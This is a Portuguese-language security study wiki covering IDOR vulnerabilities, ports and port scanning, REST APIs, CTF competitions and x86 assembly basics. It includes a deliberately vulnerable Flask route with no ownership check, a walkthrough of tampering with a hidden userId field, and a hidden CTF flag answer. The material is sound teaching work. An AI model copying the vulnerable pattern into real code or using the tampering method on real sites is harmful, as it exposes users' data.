Esse trecho de código em Python foi retirado de um post no medium [acesse-o aqui](https://medium.com/@aysebilgegunduz/everything-you-need-to-know-about-idor-insecure-direct-object-references-375f83e03a87). Esse código é vulnerável pois um usuário pode passar qualquer `‘order_id’` em uma requisição GET que ele receberá as informações da ordem com aquele ID. Não há qualquer verificação que valide se o dono daquela ordem (com o `order_id` passado) é quem está fazendo a requisição, portanto, qualquer pessoa pode acessar qualquer ordem - basta saber o ID dela.

```python
from flask import request

@app.route(‘/order_details’, methods=[‘GET’])

def order_details():
 order_id = request.args.get(‘order_id’) # aqui o "order_id" passado na requisição é pego
 order = Orders.query.filter_by(id=order_id).first_or_404() # não há qualquer verificação no order_id!
 # As informações são buscadas sem que haja uma validação de quem está pedindo essas informações
 # Não há controle de "ownership" da ordem (só quem fez a ordem deveria poder vê-la)
 return render_template(‘order_details.html’, order=order)
```

### Cenário 2 - IDOR via Cookie

Esse cenário é similiar ao anterior, porém ao invés de utilizar um parâmetro via URL, usa-se algum cookie que atua como identificador na página.

### Cenário 3 - IDOR via "Hidden Input"

Vamos agora para o cenário em que você é um usuário já cadastrado e logado. Enquanto você navega pelo mesmo site do cenário 1, você decide editar alguns dados do seu perfil.

Uma tela de edição de nome, e-mail, endereço etc. é exibida. Então, você decide inspecionar o formulário de edição dos dados e se depara com o seguinte campo no meio do formulário:

```markup
<input type="hidden" name="userId" value="1337"/>
```

Você decide mudar seu nome para `Smith`, mas também altera o valor do campo *hidden* para 1338, muito curioso para ver o que acontece. Ao enviar o formulário e recarregar a página, nada acontece no seu perfil. Porém, ao voltar à página do cenário 1 e buscar os dados da Mariena (agora Smith), vê-se que os dados dela foram alterados no seu lugar.

Este é outro exemplo simples de IDOR. Todavia, nesse caso, a vulnerabilidade foi utilizada não apenas para buscar dados, mas também para modificá-los de maneira indevida. É por isso que tais vulnerabilidades abrem uma grande margem para problemas em uma aplicação real.

## Como descobrir essa vulnerabilidade?

No geral, IDORs podem ser descobertos mais facilmente com o auxílio de scanners automáticos e ferramentas de Proxy (como o Burp Suite ou o Zap Proxy), tendo em vista que tais vulnerabilidades geralmente ficam expostas a nível de requisição (Parâmetros GET, POST, Cookies).

A princípio, você vai querer testar como a modicação de parâmetros suspeitos (possivelmente vulneráveis) afetará o retorno de cada requisição a fim de verificar se há ou não esse tipo de brecha em um website.

## Qual a importância do IDOR?

No caso do IDOR, a gravidade desse tipo de vulnerabilidade é fortemente atrelada a onde ela foi encontrada.

Por exemplo, se encontrassemos essa vulnerabilidade em uma [API](/web/semana-2/apis_e_rest) cuja URL é responsável por retornar os dados dos usuário, contendo `nome, CPF, RG, endereço etc.` e quem sabe até permitindo a manipulação desses dados, haveria uma falha gravíssima no sistema.

Já se a URL retornasse dados que já são públicos por padrão, então a vulnerabilidade seria de gravidade leve ou inexistente uma vez que dados sensíveis não seriam exibidos nem nenhum processo de autenticação seria burlado.

## Para saber mais...

Caso tenha interesse em saber mais sobre IDORs, recomendamos as seguintes referências:

1. [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards.](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
2. [PortSwigger: IDOR](https://portswigger.net/web-security/access-control/idor)
3. [OWASP: IDOR (Broken Access Control)](https://owasp.org/www-chapter-ghana/assets/slides/IDOR.pdf)
4. [Owasp IDOR Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)


# 2020 - Portas e Serviços

*No texto de Servidores Web abordamos principalmente os serviços que são servidos por meio das requisições HTTP. Vamos comentar agora sobre outros serviços que, na maioria dos casos, também estão presentes em um servidor.*

## O que são Ports?

Em um computador agindo como servidor web, é comum que haja uma grande quantidade de serviços que precisam enviar e receber dados pela rede utilizando diferentes tipos de protocolos. Como saber, então, a qual serviço cada pacote recebido pertence?

Este é o objetivo das portas: uma sequência numérica de 16 bits que identifica e mapeia processos a endereços na rede de maneira exclusiva.

Não é o objetivo desse texto se aprofundar no funcionamento técnico das portas ou do modelo TCP/IP. Mas, caso seja do seu interesse, você poderá ler um pouco sobre isso nos links abaixo:

* O que são Portas TCP e UDP? (<https://www.youtube.com/watch?v=SMU92puJxdU>)
* Portas (<https://pt.wikipedia.org/wiki/Porta_(redes_de_computadores)#Fun%C3%A7%C3%A3o_multiplexagem>)
* TCP/IP (<https://pt.wikipedia.org/wiki/TCP/IP>)

## Convenções e Port Scanners

Com o crescimento da Internet e seus serviços, algumas convenções foram adotadas para facilitar a comunicação dentre usuários. Uma dessas convenções foi a de padronizar o uso de algumas portas para determinados serviços.

Um Servidor HTTP, por exemplo, é comumente executado na porta 80. Dessa forma, ao acessar um website por meio de um browser, não é necessário dizer ao navegador qual será a porta utilizada para enviar as requisições, uma vez que o navegador irá definir, por conta própria, a porta padrão a ser utilizada.

Você pode ver no link a seguir uma grande lista com diversos serviços e suas respectivas portas (lembre-se que tal convenção não é obrigatória, podendo esses serviços serem distribuidos em outras portas sob critério do administrador do servidor) <https://pt.wikipedia.org/wiki/Lista_de_portas_dos_protocolos_TCP_e_UDP>.

Mas como saber se um servidor web dispõe ou não de outros serviços? Para isso existem ferramentas chamadas de Port Scanners, cujo objetivo é verificar se a máquina do servidor está escutando por requisições para tais serviços. Essas ferramentas podem tanto fazer uma busca simples, baseando-se nas portas mais convencionais, quanto utilizar a força bruta para buscar serviços em portas não usuais.

## Exemplos de Serviços

* **Port 20/21 - File Transfer Protocol (FTP):** Protocolo que permite transferir arquivos entre dois computador conectados via Internet (Saiba mais: <https://www.hostinger.com.br/tutoriais/ftp-o-que-e-como-funciona>). Uma falha nesse serviço pode ocasionar livre acesso à injeção de arquivos (por vezes maliciosos).
* **Port 22 - Secure Shell (SSH):** Protocolo que permite acesso e controle remoto do servidor por meio de uma comunicação criptografada.
* **Port 25/587 - Simple Mail Transfer Protocol (SMTP):** Protocolo para envio de mensagens de correio eletrônico. É um serviço usado apenas para saída de pacotes.
* **Port 110 - Post Office Protocol version 3 (POP3)** Protocolo utilizado para acesso remoto a servidores de e-mail. Permite o download das mensagens para a máquina local.
* **Port 80 - HTTP**
* **Port 443 - HTTP Secure (HTTPS)**

## Qual a importância?

Servidores Web são instâncias visíveis e, no geral, bastante acessíveis para que qualquer um possa enviar e solicitar dados.

Sob a perspectiva de um agente malicioso, um Scan de Portas é geralmente um dos primeiros passos realizados contra um determinado endereço. Isso é utilizado como método de reconhecer quais serviços são oferecidos e quais portas estão abertas para comunicação pela rede.

Não é incomum, por exemplo, a existência de bots que vasculham a internet em busca de determinados serviços para, em seguida, realizar ataques automatizados por meio de vulnerabilidades já conhecidas.

Já sob a perspectiva de um administador da máquina, um Scan de Portas é interessante, pois pode denúnciar a existência de backdoors ou outros processos maliciosos - como de um servidor FTP em uma porta não convencional.


# 2020 - API's e Serviços Rest

*Em um mundo cada vez mais conectado, a web já não funciona apenas como um meio de distribuição de conteúdo mas também como provedora de diversos serviços que se tornaram essenciais ao cotidiano. Com a popularização dos dispositivos móveis, é cada vez necessário permitir que um mesmo sistema seja acessível tanto via browser quanto via aplicativos mobile.*

*Tendo em mente a problemática acima, iremos começar conversando sobre assíncronismos, API's, e padrões REST, mostrando no fim a importância desse conhecimento na área de segurança web.*

## 1. Requisições Assíncronas

Vamos fazer uma viagem no tempo e lembrar um pouco como eram os websites no início dos anos 2000. O protocolo HTTP já existia (em uma versão mais nova) e alguns websites já serviam serviços aos usuários como redes sociais ou webmails.

Naquela época, toda vez que o usuário quisesse visualizar um novo conteúdo ou enviar algum formulário era necessário realizar uma nova requisição e recarregar uma nova página do servidor.

Mas hoje em dia as coisas não funcionam desta maneira. O feed do facebook, por exemplo, não necessita que o usuário realize um refresh em toda a página para carregar novas postagens e isso é possível devido às requisições assíncronas.

O **AJAX** (Asynchronous Javascript and XML) é um recurso da linguagem Javascript que foi adicionado em 2005 e é o responsável pelos comportamentos descritos acima, pois ele permite ao website enviar e receber dados do servidor sem a necessidade de toda a pagina ser recarregada.

```javascript
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
 document.getElementById("demo").innerHTML = this.responseText;
    }
  };
xhttp.open("GET", "ajax_info.txt", true);
xhttp.send();
```

Exemplo AJAX (fonte w3schools)

No exemplo acima, uma requisição GET assíncrona é disparada para buscar um arquivo `ajax_info.txt` do servidor e, caso o servidor ache o arquivo e o retorne com sucesso, carrega seu conteúdo em uma tag cujo atributo é `id="demo"`.

## 2. Application Programming Interface (API)

Caso você já tenha ouvido falar sobre alguns frameworks web como React, Angular.js, Vue.js ou outros, muitos deles são voltados para a criação de sistemas que separam a aplicação que irá consumir os dados (front-end) com a responsável pelo armazenamento e execução das funcionalidades (back-end). Uma das vantagens de fazer essa separação é a de economizar o tempo de desenvolvimento e centralizar o código para futuras manutenções.

Continuando a usar o Facebook como exemplo, o código central dele seria o responsável por buscar novos feeds, cadastrar uma nova postagem etc, enquanto o aplicativo mobile, browser ou desktop teria apenas a função de garantir a exibição desses dados em uma interface e disparar as requisições assíncronas com o servidor conforme o usuário interage com o sistema.

Alguns sistemas grandes, como o Twitter, possuem API's públicas cujo objetivo é permitir que desenvolvedores possam criar soluções que sejam integradas com seus sistemas, mas no geral em aplicações de médio e pequeno porte as API's são voltadas para o uso interno e exclusivo via algum client mobile ou front-end[.](https://youtu.be/BxV14h0kFs0)

## 3. REST e Serviços RESTful

Ao pesquisar sobre API's e requisições assíncronas, é bastante comum se deparar com os termos REST e RESTful. Apesar de não ser algo tão importante para segurança em si, é interessante saber do que se trata, uma vez que ela permite alguns insights durante um teste de invasão e segurança.

No geral, o REST se trata de um conjunto de boas práticas feitas para garantir que uma API seja estruturada de maneira semântica e organizada.

Esse modelo foi proposto por um dos criadores do protocolo HTTP, Roy Fielding, e é muito utilizado nos dias atuais devido aos fatos que já foram citados no início desse texto.

Um exemplo simples de boa prática seria o uso correto dos métodos HTTP ao enviar uma requisição assíncrona.

```
GET https://meu.website.com/usuarios/13
DELETE https://meu.website.com/usuarios/13
```

No exemplo acima, ambas as requisições são mapeadas para uma mesma url na API. A primeira, no entanto, se trata de um GET e teria o sentido semântico de buscar os dados do usuário 13, enquanto o segundo seria uma ação de exclusão do mesmo.

## 4. XML, JSON, YAML

Quando uma requisição assíncrona é enviada ao servidor, é necessário que os dados sejam retornados de uma maneira estruturada e que possa ser processada pela aplicação do cliente.

Vamos supor, por exemplo, que queremos consumir os dados usados no exemplo anterior:

```
GET https://meu.website.com/usuarios/13
```

Existem diferentes formatos que o servidor pode utilizar para servir esses dados, sendo os mais famosos:

* **XML (Extensible Markup Language):** é uma linguagem de marcação que utiliza de TAG's e se assemelha muito ao HTML. É visualmente menos legível porém permite a criação de atributos dentro das tags.
* **JSON (JavaScript Object Notation):** é uma estrutura baseada em chave-valor bastante utilizada devido à sua legibilidade e clareza para transmitir os dados.
* **YAML (YAML Ain't Markup Language)**

Dando um exemplo do possível retorno da nossa API em JSON e em XML, poderiamos ter algo como

```markup
<usuario role="administrador">
    <id>13</id>
    <nome>João</nome>
    <sobrenome>da Silva</sobrenome>
    <nascimento>10/03/1992</nascimento>
</usuario>
```

Exemplo XML

```javascript
{    
    "usuario": {
        "role":"administrador",
        "id":13,
        "nome":"João",
        "sobrenome":"da Silva",
        "nascimento":"10/03/1992"
    }
}
```

Exemplo JSON

Como se pode ver, ambos os casos expressam os dados do mesmo usuário de maneira eficiente, cabendo aos desenvolvedores decidir qual é o melhor formato a ser utilizado no retorno das requisições.

## 5. E qual a importância?

A web está muito mais presente nos sistemas do que muitas pessoas acreditam. Seja um site, um aplicativo mobile ou até mesmo algum [dispositivo IoT](https://pt.wikipedia.org/wiki/Internet_das_coisas), geralmente há uma API sendo consumida por cada um desses itens e é importante que a mesma seja construída de maneira segura pois, caso contrário, sempre haverá alguém disposto a tentar se aproveitar das vulnerabilidades dessa aplicação.

A existência de API's inseguras muitas vezes permite o vazamento de dados sensíveis e este é o 3º tópico abordado no [OWASP Top 10 ](https://owasp.org/www-project-top-ten/). Um bom exemplo desse tipo de vulnerabilidade por ser visto [neste caso da Nissan](https://www.troyhunt.com/controlling-vehicle-features-of-nissan/) ou nesse da [Sky](https://www.zdnet.com/article/sky-brasil-exposes-data-of-32-million-subscribers/) em que ambos possuiam uma API que permitia o retorno de dados sem qualquer verificação ou senha por parte do solicitante.


# CTF

## O que é CTF? <a href="#o-que-e-ctf" id="o-que-e-ctf"></a>

Se você chegou até aqui, é bem provável que já saiba o que é um CTF, mas explicarei de qualquer forma.

CTF, ou *Capture The Flag,* é uma modalidade de competição, também sendo referido como um jogo, de segurança de informação. Nos CTFs são apresentados diversos desafios relacionados à segurança, cujo objetivo costuma ser explorar um sistema, descobrir uma falha ou algo do gênero.

### Modalidades de CTF <a href="#modalidades-de-ctf" id="modalidades-de-ctf"></a>

Existem diversos tipos de CTF, o mais comum (e o que usamos no Ping), é o **Jeopardy**, onde são apresentados desafios usualmente independentes entre si, onde o usuário completa o desafio, pega a flag, comprovando isso, e submete em uma plataforma, conseguindo pontos, mas essa não é a única modalidade da competição. Outra modalidade comum é o ***Attack & Defense**,* onde usualmente cada time é "dono" de um sistema, que vem com vulnerabilidades, e o objetivo é consertar essas vulnerabilidades enquanto explora-se as dos outros times, ganhando pontos caso se explore uma falha de outro time e perdendo caso seja a vítima. Isso é mais comum em competições presenciais, por ser necessária toda uma infraestrutura que suporte as interações entre os diferentes times, apesar de não ser algo exclusivo. Ainda, outra modalidade é o ***Boot2Root***, onde são disponibilizadas máquinas inteiras em que o objetivo do jogador é conseguir acesso e fazer a escalação de privilégios (ou conseguir acesso root, daí o nome *Boot2Root).* Sites comuns dessa modalidade são o *Hackthebox*, que disponibiliza máquinas online para serem invadidas pelos usuários, e o *Vulnhub,* que disponibiliza máquinas virtuais, as quais o usuário baixa e executa no seu computador. Nesse último caso normalmente não há submissão de flags online, o que faz com que não seja exatamente uma competição.

### Qual a importância do CTF para a segurança da informação? <a href="#qual-a-importancia-do-ctf-para-a-seguranca-da-informacao" id="qual-a-importancia-do-ctf-para-a-seguranca-da-informacao"></a>

CTFs são um ótimo jeito de aprender sobre técnicas novas de segurança. É bem comum se deparar com um cenário que nunca viu antes e passar um bom tempo pesquisando para aprender a resolver o desafio. No fim, mesmo que não consiga, são liberadas as resoluções (ou *write-ups)* pelos próprios jogadores, o que faz com que possa ler sobre e entender o que faltou.

Além disso, empresas de segurança costumam valorizar jogadores de CTF. Por adquirir uma certa experiência com as competições, jogadores conseguem demonstrar as suas habilidades ao resolver os desafios, o que pode ser colocado no currículo e ajudar bastante a conseguir aquela querida vaga de emprego. Fora o fato que várias empresas fazem desafios no estilo CTF para contratação de novos empregados, principalmente em níveis iniciais.

### O que preciso saber para jogar um CTF? <a href="#o-que-preciso-saber-para-jogar-um-ctf" id="o-que-preciso-saber-para-jogar-um-ctf"></a>

Nada! Existem CTFs de diversos níveis, desde aqueles feitos para escolas de ensino fundamental e médio, para faculdades e outros para os "melhores hackers" do mundo.

Se você está querendo começar nesse mundo e está perdido, a recomendação inicial é pegar algum CTF feito para iniciantes, como por exemplo o *picoCTF*, aberto o ano todo, ou os CTFs feitos para escolas de ensino fundamental/médio, como o *NeverlanCTF* ou o *Angstrom CTF.*

### Onde procurar por CTFs? <a href="#onde-procurar-por-ctfs" id="onde-procurar-por-ctfs"></a>

A grande plataforma de CTFs mundial é o [ctftime](https://ctftime.org/), que possui listas de CTFs que acontecem quase todo fim de semana (normalmente múltiplos CTFs por final de semana), além de ranquear os melhores times e CTFs de acordo com um sistema de votação implementado pelo site (o que facilita para os usuários reconhecerem quais são os melhores para que possam jogá-los).

O site também é um bom lugar para procurar por *write-ups,* dado que eles mesmos disponibilizam uma página para os usuários postarem os seus write-ups de cada CTF feito.

## Categorias comuns de CTFs <a href="#categorias-comuns-de-ctfs" id="categorias-comuns-de-ctfs"></a>

É comum que os desafios de um CTF Jeopardy sejam divididos em categorias, podendo cada desafio ser de uma ou mais. Existem também CTFs "exóticos" que costumam criar desafios de categorias não incluídas aqui, então nem sempre tudo se incluirá aqui.

Em ordem alfabética, as categorias mais comuns de CTF são as seguintes:

### Criptografia <a href="#criptografia" id="criptografia"></a>

Os desafios de criptografia se dividem em 2 categorias principais.

1 - Abordar os principais ataques conhecidos a criptografias: Usualmente esses desafios envolvem alguma criptografia já publicada, podendo ser amplamente conhecida ou não, e tem alguma falha que deve ser explorada para se obter a flag.

2 - Abordar falha em programação relacionada a criptografias: São dados códigos de uma determinada implementação não segura de alguma criptografia ou *hashing* e o objetivo de jogador é conseguir entender o que está sendo feito, qual a falha e como quebrar esse código.

A categoria acaba sendo ótima para quem gosta de matemática e de programar soluções criptográficas.

### Engenharia Reversa <a href="#engenharia-reversa" id="engenharia-reversa"></a>

Os desafios giram em torno de entender como um programa funciona, qual a falha nele e como essas vulnerabilidades podem ser exploradas, de forma semelhante ao que se usa para "crackear" um programa ou fazer um hack para um jogo, por exemplo.

A categoria costuma ser muito relacionada a programação e sistemas de baixo nível, o que faz com que os jogadores precisem ter um conhecimento mais elevado sobre arquiteturas de computadores, assembly e programação C.

Os desafios relacionados a engenharia reversa costumam ter como vantagem que ajudam bastante a entender como os programas funcionam nos "bastidores", ou seja, como um sistema operacional interage com um programa e como ele na verdade é interpretado e executado, por exemplo.

### Miscellaneous <a href="#miscellaneous" id="miscellaneous"></a>

Miscellaneous, também conhecida como *misc.* é a categoria que usualmente não está relacionada com nenhuma das outras e aborda assuntos diversos, por exemplo conhecimento de softwares de rádio, decodificação de áudios/imagens, linguagens esotéricas, softwares com funcionalidades "fora do comum", e todo o resto que não se encaixa em outras categorias.

Se está realmente lendo, aqui a resposta do desafio do ping, submeta no formato usual: I\_c4n\_r3ad

### Networking/Redes <a href="#networking-redes" id="networking-redes"></a>

Obviamente, envolvem conhecimentos de redes.

Giram em torno de ataques relacionados a redes, como ataques em proxy, análises de tráfego, *bypass* de *firewall*, análises de protocolos e truques relacionados a ferramentas de redes.

Em diversos CTFs essa categoria acaba entrando como misc, por não se tratar tanto do conhecimento de uma vulnerabilidade específica mas sim o uso do conhecimento de redes para conseguir explorar alguma vulnerabilidade apresentada que não necessariamente é diretamente relacionada a redes.

### Professional Programming Competition (PPC) <a href="#professional-programming-competition-ppc" id="professional-programming-competition-ppc"></a>

São desafios de programação, semelhantes aos de programação competitiva, sem muita relação com segurança em si. Não é uma categoria tão comum, é bem característica de algumas competições específicas, como o *Hackaflag*, ctf brasileiro, que costuma contar com um desafio dessa categoria a cada edição.

É bom para praticar a criação de scripts e a programação em si, bastante usada em algumas áreas da segurança da informação.

### Pwning/Shellcoding <a href="#pwning-shellcoding" id="pwning-shellcoding"></a>

O nome Pwning vem de um trocadilho com o verbo "*Owning*", que é, nesse contexto, "se tornar dono de".

Essa categoria usualmente vem combinada com engenharia reversa, em que é necessário entender uma aplicação e explorar ela para quebrar o sistema e/ou se tornar dono dele (literalmente tomando posse da máquina) e executar comandos arbitrários.

É uma categoria boa para quem quer começar a desenvolver os próprios exploits, sendo considerado um "algo a mais" na parte de engenharia reversa.

### Web <a href="#web" id="web"></a>

É bastante relacionado a falhas de segurança web (como sql injection, xss, entre outras). Em CTFs mais voltados para iniciantes costuma ser exploração direta de vulnerabilidades, enquanto nos avançados o foco é maior em *bypass* de *Web Application Firewalls* (WAF) ou reconhecimento da aplicação para posterior exploração das vulnerabilidades.

Quanto mais se conhece de aplicações web, melhor, dado que novas vulnerabilidades estão sempre a aparecer.

É considerada uma das categorias mais fáceis de se começar, por não depender tanto de conteúdo prévio, apesar de que uma base forte de programação web é bastante útil para a exploração mais elaborada de vulnerabilidades com certo nível de proteção.

Uma das principais vantagens de *web* é a existência grande de programas de *Bug Bounty*, onde profissionais de segurança podem reportar vulnerabilidades para companhias e receber pagamentos (*bounties)* em troca. Algumas plataformas grandes são o *hackerone* e *bugcrowd,* que já pagaram milhões de dólares em bounties.

## Sugestões <a href="#sugestoes" id="sugestoes"></a>

* Se especializar em menos áreas com um time diversificado é uma boa ideia: Segurança é praticamente sem fim, sendo impossível saber tudo de tudo, então o que é aconselhado é escolher algumas áreas e criar uma especialidade nela. Como CTFs usualmente são competições em time um time com vários especialistas em áreas distintas se torna mais forte.
* Ler writeups é uma ótima forma de aprender: Ver como são resolvidos desafios que não foram resolvidos pelo seu time acaba sendo um jeito bom de aprender o que não conseguiu.
* Pessoas diferentes criam soluções diferentes: Diversos desafios não tem uma só solução. O que faz com que seja bom ver resoluções mesmo de desafios que não foram resolvidos.

​

Boa sorte com os desafios :)


# Engenharia Reversa


# Arquivos

No fundo, todos os arquivos são compostos por bytes (ou seja, vários 1s e 0s), porém podemos dividir os arquivos em duas grandes classificações, arquivos binários, e arquivos de texto.

Em arquivos de texto, cada byte representa um caractere, arquivos de texto podem ser abertos com programas simples de edição de texto, e podem ter seu conteúdo lido sem dificuldade.

Já arquivos binários são todos os arquivos que não são de texto, em arquivos binários os bytes podem representar diversas coisas, não necessariamente characteres, por exemplo, em imagens os bytes podem representar a cor de cada pixel, já em arquivos executáveis, os bytes podem ser utilizados para representar instruções para o computador.

Um arquivo binário aberto com um editor de texto pode mostrar coisas completamente ilegíveis.

## Alguns comandos importantes

### strings

O comando strings é utilizado para recuperar strings (texto), de arquivos binários. Ele percorre o arquivo binário e retorna todas as strings 'human-readable', ou seja, que possuem characteres que podem ser lidos por nós.

### xxd

O comando xxd, ou Hexdump, pode ser utilizado para mostrar os bytes de um arquivo (em hexadecimal, por isso o nome), o hex dump pode ser muito importante para analisar ou ver as informações que compõem um arquivo.

### objdump e readelf

Os comandos objdump e redelf são utilizados para obter informações sobre binários ou arquivos objeto (arquivos resultantes da compilação de algum código fonte), o objdump pode ser utilizado para obter o código Assembly de um executável.

## Magic Numbers

Os primeiros bytes de um arquivo são chamados de Magic Numbers, e eles são utilizados para identificar qual tipo de arquivo é. A ideia de se colocar os magic numbers no início é para evitar que o computador precisa percorrer o arquivo para identificar seu tipo.

Por exemplo, quando vamos abrir uma imagem, o computador precisa saber que o arquivo é uma imagem, para isso ele pode verificar os primeiros bytes e descobrir qual o formato do arquivo.

O comando "file" do Linux verifica os magic numbers e retorna o tipo do arquivo (caso consiga identificá-lo).

## Exemplo

Abaixo podemos ver um hexdump de uma imagem, e podemos ver seu Magic Number (424d). ![Exemplo hexdump](https://i.imgur.com/aVYW6tT.png)


# Registradores e tipos de dados

## Registradores e Tipos de Dados

Aqui estaremos estudando os registradores da arquitetura x86 e x86-64, seguindo principalmente o padrão da Intel.

Para guardar variáveis de forma no geral e passá-los de uma parte da memória para outra, a nossa principal ferramenta são os registradores.

### Registradores

Na arquitetura x86 temos 8 registradores de propósitos gerais (ou GPR) de 32-bits, alguns deles também podem ser divididos em registradores de 8 e 16 bits.

#### Registradores de propósito geral

Como o próprio nome diz, esses registradores são de propósito geral, ou seja, podem ser usados para "qualquer coisa", mas usualmente seguem algumas convenções

| Registrador |                                Convenção                               | 16 - Bits | 8 Bits |
| ----------- | :--------------------------------------------------------------------: | :-------: | :----: |
| EAX         | Acumulador, usado para operações aritméticas e para guardar resultados |     AX    |  AH-AL |
| EBX         |    Registrador secundário, usado como "base" em operações de vetores   |     -     |    -   |
| ECX         |                            Contador em loops                           |     -     |    -   |
| EDX         |                  Usado para guardar endereços de dados                 |     -     |    -   |

#### Registradores de Endereços

| Registrador | Propósito                                         | 16 - Bits |
| ----------- | ------------------------------------------------- | :-------: |
| ESI         | Fonte em operações de memória/strings             |     SI    |
| EDI         | Destino em operações de memória/strings           |     DI    |
| EBP         | Registrador base para a stack/pilha (frame atual) |     BP    |
| ESP         | Pointeiro da stack/pilha                          |     SP    |

#### Outros registradores

| Registrador | Propósito                                                                               | 16 - Bits |
| ----------- | --------------------------------------------------------------------------------------- | :-------: |
| EIP         | Instruction Pointer (Program counter) - Indica em qual instrução a execução se encontra |     -     |
| EFLAGS      | Guarda resultado de operações - Ex: Flag Zero                                           |     -     |

### Set de Instruções

O conjunto de instruções x86 envolve o movimento de dados entre registradores e memória, classificados em 5 tipos:

* Imediato para registrador
* Registrador para registrador
* Imediato para memória
* Registrador para memória e vice-versa
* Memória para memória - Somente nas arquiteturas RISC.

#### x86

O foco aqui será a sintaxe da Intel.

**Intel vs AT\&T**

A AT\&T prefixa os registradores com `%` e imediatos com `$`, o que não acontece na Intel. Eles também adicionam um prefixo à instrução para indicar o tamanho do dado da operação  (long, byte, etc. ). Na sintaxe da Intel, o destino vem e, em seguida, a fonte  (op dest source ), na AT\&T é o contrário. (Pense em dest=fonte) As instruções têm comprimento variável  (1 a 15 bytes ).

x86 usa colchetes ( \[] ) para indicar acesso à memória  (semelhante ao asterisco ( \* ) em C / C ++ ) Para somar ou subtrair o endereço dentro de \[] geralmente é usado hexadecimal, por exemplo: mov eax \[ecx + 10h] - Onde h é usado para indicar notação hexadecimal.

**Instruções**

* MOV - mov ecx, \[eax]
  * Seta ecx = \[eax] &#x20;
* ADD - inc dword ptr \[eax]
  * Incrementa o valor no endereço eax. &#x20;
* SUB - sub eax, 0x20
  * Subtrai eax por 0x20 (32 em decimal).
* PUSH - push eax
  * Coloca eax na stack.
* POP - pop eax
  * Tira o endereço do topo da stack e salva em eax.
* CMP - cmp eax, ebx
  * if (eax == ebx) seta eflags;
* JNE - jne 0x400086
  * Pula para o endereço dado se eflags foi setado como igual.
* CALL - call 0x400086
  * Pula para o endereço dado e salva a localização atual na stack. Equivalente às instruções:
    * push rip
    * jump 0x400086
* RET - ret
  * Tira o endereço da stack e retorna o controle para aquela localização.
    * pop rip
* LEA - lea eax, \[esp+0x1c]
  * Move o endereço do registrador para outro. Usado para passar parâmetros para funções.
* LEAVE - leave
  * Move ebp para esp e tira ebp da stack.


# Hello World em x86

Explicação de um Hello World em Assembly x86

Usando códigos como exemplo, é recomendável antes de mais nada entender conceitos básicos do Assembly x86, como a instrução `mov`.

Usando por exemplo esse programa:

```
;; Programa Hello World
section .text
global _start

_start:
        mov     edx,len                             ;comprimento da mensagem
        mov     ecx,msg                             ;mensagem a ser escrita
        mov     ebx,1                               ;descritor de arquivo (stdout)
        mov     eax,4                               ;número da system call
; (sys_write)
        int     0x80                                ;call kernel

        mov     eax,1                               ;numero da syscall
; (sys_exit)
        int     0x80                                ;call kernel

section     .data
        msg     db  'Hello, world!',0xa                 ;nossa string lindona
        len     equ $ - msg                             ;comprimento da lindona
```

### **Entendendo o código**

Inicia com um comentário, marcado a partir de um `;` como você pode ver.

É necessário especificar seções do código. Uma vez que o Assembly vai ser carregado diretamente na memória, você precisa especificar o que é o fragmento `text` (instruções) e o que é o fragmento `data` (código não executável, usado para guardar strings e algumas variáveis, etc.). Como vocẽ pode ver, define-se um rótulo (label na forma culta) global `_start`. Isso é necessário para ser possível definir o ponto de entrada do código (É um rótulo padrão).

Vamos olhar agora a seção `.data`. Primeiramente ela declara um "define byte" (`db`) que nós chamamos de `msg`, com a string que queremos imprimir, juntamente com `0xa`, que é o caractere de nova linha, (equivalente ao `\n` no C, por exemplo). Na próxima linha, definimos uma variável `len` que representa o comprimento da string, isto é, o endereço atual da memória onde está a instrução (representado por `$`) subtraído do começo da string (`msg`).

Voltando agora para o rótulo `_start` (também chamado de função nesse caso), nas primeiras 4 linhas nós acabamos de armazenar as variáveis nos registradores `edx` e `ecx`, depois nós colocamos o valor 1 em `ebx` e 4 em `eax`. Isso significa que, uma vez que queremos escrever alguma coisa na `stdout` (ou saída padrão), nós usamos a syscall `write`, que pede o argumento `fd` (descritor de arquivo) passado no registrador `ebx` como uma convenção, como visto em [System Calls Reference](https://syscalls.kernelgrok.com/). Então a `int`errupção 0x80 será chamada (isso é uma *syscall*), que irá imprimir "Hello, world!" no terminal.

No final, o registrador `eax` terá o valor 1, significando a *syscall* "exit". Então será chamado através de `int 0x80`, saindo do programa.

No caso de nós quisermos colocar um `return 0` no final do código, nós poderíamos colocar apenas `mov ebx, 0` logo antes da syscall.

### **Compilando e testando o código**

Para montar códigos Assembly x86, uma boa maneira é usar o montador [nasm](https://nasm.us/).

Supondo que temos um código `hello.asm`, podemos montá-lo com

```bash
nasm -f elf hello.asm
```

Fazendo isso nós especificamos que o formato do arquivo será um `elf` (32bits) e um novo objeto `hello.o` será produzido.

Ainda assim, esse não é nosso arquivo executável. Para fazer um ainda precisamos utilizar o comando `ld` (link-editor) para ligar o objeto com as bilbiotecas do sistema, o que pode ser feito facilmente:

```bash
ld -s -o hello hello.o -m elf_i386
```

Isso simplesmente liga o objeto gerado para um executável `hello`, que tem o formato `elf_i386`. No caso de qualquer erro acontecer, verifique se você tem `32bits glibc` no seu sistema operacional.

Então, execute-o simplesmente usando

```bash
./hello
```

E é isso, temos nosso Hello World! OwO

### Referências

* [Linux System Calls Reference](https://syscalls.kernelgrok.com/)
* [x86 Hello World](http://asm.sourceforge.net/intro/hello.html)
* [nasm](https://nasm.us/)


# Pilha

A stack, como o nome diz, é uma pilha. Pode-se imaginar como uma pilha de pratos ou uma pilha de caixas. As operações básicas de uma pilha são empilhar, desempilhar e checar seu topo. Para entender a stack, é importante saber essas duas primeiras operações.

Quando empilha-se algo em uma pilha, coloca-se o novo elemento em cima. Caso vá desempilhar, retira-se o elemento mais ao topo.

Agora vamos ver como isso se aplica na memória stack:

```
+------------------+
|      Stack       | <-- RSP
|      Frame       |
+------------------+
|    RBP antigo    | <-- RBP
+------------------+
|    RIP antigo    |
+------------------+
```

Na memória stack, há dois registradores que realizam operações nela. Eles são o `RSP` (ou ESP para sistemas de 32-bits) e o `RBP` (ou EBP para sistemas de 32-bits).

* O RSP é o *stack pointer* e sua função é guardar o endereço do topo da pilha.
